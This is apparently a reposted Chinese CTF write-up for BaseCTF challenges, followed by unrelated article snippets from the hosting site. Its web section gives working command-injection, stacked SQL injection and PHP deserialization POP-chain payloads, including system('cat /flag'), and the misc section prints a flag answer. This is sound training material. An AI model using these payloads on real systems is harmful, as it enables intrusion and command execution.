    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

mysql命令行程序的命令执行, 输入一个 ? 可以查看到一些帮助信息, 显示有system 命令, 直接利用进行rce
(应该跟版本有关, 我本地不存在system命令)

通过换行符绕过注释

?sql=%0asystem env
[Fin] Sql Inject or RCE
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);
?sql=%0ashow tables
?sql=%0ashow columns from flag
看到表名和列名

利用delimiter 关键字, 可以修改sql语句的结束符, 从而可以打堆叠注入
利用 handler 关键字读取表的内容

payload:
?sql=%0adelimiter >>%0ahandler flag open>>handler flag read next>>
[Fin] ez_php
<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

if(isset($_GET['ez_ser.from_you'])){
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
    if(preg_match("/\[|\]/i", $_GET['substr'])){
        die("NONONO!!!");
    }
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
    $a = unserialize($ser_ctf);
    throw new Exception("杂鱼~杂鱼~");
}

调用链子:

Hacker::__destruct-->C::__toString-->T::__call-->F::__get-->E::__isset-->R__invoke

需要绕过__wakeup, 版本的问题, 没办法直接通过修改序列化字符串中属性的数量绕过, 所以肯定会执行到__wakeup里面去 , 但是需要链子能够执行下去, username 需要被赋值为 C类的实例化对象,
所以通过 &引用绕过, $a->end=&$a->username; 修改 end的值也就会修改username的值, 然后end的值是被start所赋值的, 所以就需要让 start=new C();

构造pop链

<?php
highlight_file(__file__);
class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}
$a=new Hacker();
$a->end=&$a->username;
$a->start=new C();
$a->start->c=new T();
$a->start->c->t=new F();
$a->start->c->t->f=new E();
$a->start->c->t->f->e=new R();
$a->start->c->t->f->e->r=system("whoami");
$b=array("a"=>$a,"b"=>null); //gc回收机制绕过, 将序列化最后的的b改为a
echo serialize($b);

//a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"b";N;}
将后面的b改为a绕过throw new Exception

a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"a";N;}

还有php变量名传参问题

传参 ez[ser.from_you 即可绕过

最后的逃逸问题
mb_strposmb_substr执行差异导致的漏洞
简单说就是

%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉前三位
%f0配合任意的三个字符结合%9f就可以达到字符串逃逸
具体可以看:https://www.cnblogs.com/gxngxngxn/p/18187578
在传入了序列化后, 要进行的反序列的$ser_ctf变成了

前后都多了一些东西, 需要将前面多出来的东西去掉, 后面的不管
前面多出来了38个字符, 
通过传参:(本地尝试一下)
substr=%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%9f
可以去掉前面38个字符

最终payload

?substr=%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%9f
&ez[ser.from_you=a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system("cat /flag");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"a";N;}

Misc

[Week1] 你也喜欢圣物吗

010打开, 最下面有一段base64加密

DO_YOU_KNOW_EZ_LSB?

lsb隐写, stegsolve工具解开, 得到key: lud1_lud1
解密打开, 又存在一个flag.txt的伪加密, 010打开, 14 00 09 00 改为 14 00 00 00
打开flag.txt可以发现是一个假的flag, 找半天, 其实真的flag就在这个文件内容的下面, base64两次解密就行

[Week1] 海上遇到了鲨鱼

wireshark工具打开, 导出对象 --> http , 存在一个flag.php文件, 打开是反过来的flag, 写个python小脚本将其反过来就行

[Week1] Base

先一个base32然后再一个base64

[Week1] 人生苦短,我用Python
import base64
import hashlib

def abort(id):
    print('You failed test %d. Try again!' % id)
    exit(1)

print('Hello, Python!')
flag = input('Enter your flag: ')

if len(flag) != 38:
    abort(1)

if not flag.startswith('BaseCTF{'):
    abort(2)

if flag.find('Mp') != 10:
    abort(3)

if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':  # 3x}
    abort(4)

if ord(flag[-1]) != 125:
    abort(5)

if flag.count('_') // 2 != 2:  # 4个_
    abort(6)

if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
    abort(7)

if flag[12:32:4] != 'lsT_n':
    abort(8)

if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
    abort(9)

if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024: # 4
    abort(10)

if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':    # 0mPl
    abort(11)

if flag[::-7].encode().hex() != '7d4372733173':   #}Crs1s
    abort(12)

if set(flag[12::11]) != {'l', 'r'}:
    abort(13)

if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):  #t3r_Th
    abort(14)

if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610: #_Be
    abort(15)

if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
    abort(16)

if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':  # 3 1
    abort(17)

if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
    abort(18)

print('🎉 You are right!')
import this


# BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

最后两道还不会, 先暂且放着

参考官方wp

https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2169962.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解锁创意新纪元:Stable Diffusion绘画技术的非凡优势

Stable Difusion 是一款从文本到图像的潜在扩散模型&#xff0c;其操作界面如图所示。该模型由初创公司Stabiity A1、慕尼黑大学机器视觉与学习小组以及神经网络视频公司Runway 合作研发&#xff0c;首次发布于2022年8月&#xff0c;而在同年11月更新的2.0版本更是给用户带来了…

“给领导买饭”,刺痛打工人

帮领导办私事&#xff0c;你会接受还是拒绝&#xff1f; 转载&#xff1a;定焦&#xff08;dingjiaoone&#xff09;原创 作者 | 艾乐伊 郑浩钧 苏琦 王璐 编辑 | 苏琦 打工人最讨厌的事&#xff0c;领导喊你帮他带饭带娃&#xff0c;算一件。 近日&#xff0c;上海某教培公司…

fuzzer实战-magma-模糊测试

Getting Started | magma首先打开这个链接&#xff0c;跟着官网指导做&#xff1a; 并且参考Titan的官网使用方法&#xff1a;GitHub - 5hadowblad3/Titan: Research artifact for Oakland (S&P) 2024, "Titan: Efficient Multi-target Directed Greybox Fuzzing&quo…

Rce脚本自动化amp;批量

这里放上一篇我学生的投稿文章 0x00 前言 在现代网络安全领域&#xff0c;远程代码执行&#xff08;RCE&#xff09;漏洞的发现与利用成为了重要的研究课题。随着攻击手段的不断演进&#xff0c;安全专业人士面临着日益复杂的威胁环境。为应对这一挑战&#xff0c;自动化和批…

ChatGPT Sidebar 浏览器插件配置指南

随着聊天机器人技术的不断进步&#xff0c;越来越多的人开始依赖这些强大的工具来提高工作效率、获取信息和解决问题。OpenAI 的 ChatGPT 是其中最受欢迎的聊天机器人之一。为了方便用户在浏览网页时随时与 ChatGPT 互动&#xff0c;开发者们设计了一款名为 ChatGPT Sidebar 的…

30+程序员顶着被裁员的压力,为什么选择从零开始:转行大模型?

在当今这个科技进步迅速的时代&#xff0c;程序员作为引领技术革新的关键角色&#xff0c;正处于一个既充满机会又面临挑战的关键时刻。随着人工智能、大数据处理、云服务等领域的迅猛发展&#xff0c;大型模型&#xff08;例如GPT系列、BERT等&#xff09;已经成为行业内的热议…

【07】纯血鸿蒙HarmonyOS NEXT星河版开发0基础学习笔记-Swiper轮播组件与样式结构重用

序言&#xff1a; 本文详细讲解了关于我们在页面上经常看到的轮播图在鸿蒙开发中如何用Swiper实现&#xff0c;介绍了Swiper的基本用法与属性&#xff0c;及如何面对大段的重复代码进行封装和重用&#xff08;Extend、Styles、Builder&#xff09;&#xff0c;使代码更加简洁易…

HarmonyOS鸿蒙开发实战( Beta5.0)标题下拉缩放实践案例

鸿蒙HarmonyOS NEXT开发实战往期文章必看&#xff08;持续更新......&#xff09; HarmonyOS NEXT应用开发性能实践总结 HarmonyOS NEXT应用开发案例实践总结合集 最新版&#xff01;“非常详细的” 鸿蒙HarmonyOS Next应用开发学习路线&#xff01;&#xff08;从零基础入门…

耦合微带线单元的网络参量和等效电路公式推导

文档下载链接&#xff1a;耦合微带线单元的网络参量和等效电路资源-CSDN文库https://download.csdn.net/download/lu2289504634/89583027笔者水平有限&#xff0c;错误之处欢迎留言&#xff01; 一、耦合微带线奇偶模详细推导过程 二、2,4端口开路 三、2端口短路、3端口开路 四…

护眼台灯哪个品牌更好?五款由专业眼科医生推荐的护眼台灯

台灯是每个家庭中不可或缺的照明设备&#xff0c;尤其是对于有学龄儿童的家庭来说&#xff0c;孩子们每天在家学习和做作业时&#xff0c;一款优秀的护眼台灯显得尤为重要。如果长期使用的台灯是不合格&#xff0c;不能给孩子提供一个好的光照环境&#xff0c;那么孩子们的视力…

VUE.js笔记

1.介绍vue Vue 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建&#xff0c;并提供了一套声明式的、组件化的编程模型&#xff0c;帮助你高效地开发用户界面。无论是简单还是复杂的界面&#xff0c;Vue 都可以胜任。 Vue 应用程序的基本…

镭射限高防外破预警装置-线路防外破可视化监控,安全尽在掌握中

镭射限高防外破预警装置-线路防外破可视化监控&#xff0c;安全尽在掌握中 在城市化浪潮的汹涌推进中&#xff0c;电力如同现代社会的生命之脉&#xff0c;其安全稳定运行直接关系到每一个人的生活质量和社会的整体发展。然而&#xff0c;随着建设的加速&#xff0c;电力设施通…

宠物店揭秘!那种猫罐头好?4款营养满分主食罐头来袭

五年来&#xff0c;我家宠物店始终秉持初心&#xff0c;为猫咪打造了一个美食乐园&#xff0c;从湿猫粮、干猫粮&#xff0c;到各式零食&#xff0c;应有尽有。最近&#xff0c;猫罐头这股热潮更是席卷而来&#xff0c;成为许多猫咪的新宠。然而&#xff0c;面对市场上各式各样…

C语言课程设计题目四:实验设备管理系统设计

序号系统设计题目进度1职工信息管理系统设计已完成&#xff0c;在本专栏2图书信息管理系统设计已完成&#xff0c;在本专栏3图书管理系统设计已完成&#xff0c;在本专栏4实验设备管理系统设计已完成&#xff0c;在本专栏5西文下拉菜单的设计链接6学生信息管理系统设计链接7学生…

Spring Boot入门全攻略:从环境搭建到项目运行,一步步带你走进高效Java开发的奇妙世界!

Spring Boot 是一个简化 Spring 应用开发的框架&#xff0c;它提供了一种快速、广泛接受的平台&#xff0c;用于创建独立的、生产级的基于 Spring 的应用。以下是一个简单的 Spring Boot 入门教程。 1. 环境准备 Java&#xff1a;确保安装了 Java 8 或更高版本。Maven/Gradle&…

【微信小程序】uniapp中HBuilder修改代码,微信开发者工具没有刷新

方法一&#xff1a;设置-编辑器-按图设置&#xff0c;去掉【修改文件时自动保存】 方法二&#xff1a;开启热加载 方法三&#xff1a;直接HBuilder中用在运行

c语言200例 64

大家好&#xff0c;欢迎来到无限大的频道。 今天带领大家来学习c语言。 题目要求&#xff1a; 设计一个进行候选人的选票程序。假设有三位候选人&#xff0c;在屏幕上输入要选择的候选人姓名&#xff0c; 有10次投票机会&#xff0c;最后输出每个人的得票结果。好的&#xff…

在线聊天室项目(Vue3 + SpringBoot)

目录 项目描述 技术栈选型 项目开发过程文档 项目页面效果 项目源码地址 项目描述 1. 网页在线聊天室&#xff0c;实现了群组系统和好友系统&#xff0c;因此项目可以在公共群组&#xff0c;私有群组和私人之间进行聊天。 2. 项目主要使用Websocket实时通信技术实现聊天&…

Arch Linux 安装步骤

仅做学习记录&#xff0c;有错漏之处欢迎批评指正&#xff01; 上一节&#xff1a;用U盘制作安装镜像 文章目录 二、安装系统2.1 使用U盘启动安装系统2.2 连接网络Wi-Fi方式&#xff08;1&#xff09;开启iwd内置的DHCP客户端&#xff08;2&#xff09;启动iwd并连接Wi-Fi 2.3 …

C++冷门知识点1

1.特殊情况汇总&#xff1a; 负数&#xff0c;空指针&#xff0c;叶节点&#xff0c;INT_MAX和INT_MIN 2.双指针法(快慢指针&#xff0c;头尾指针)&#xff0c;三数指针法(链表逆序那块) 3.一定要注意极端情况 2.e后边可以跟负数&#xff0c;但是不能跟小数 3.string的push_bac…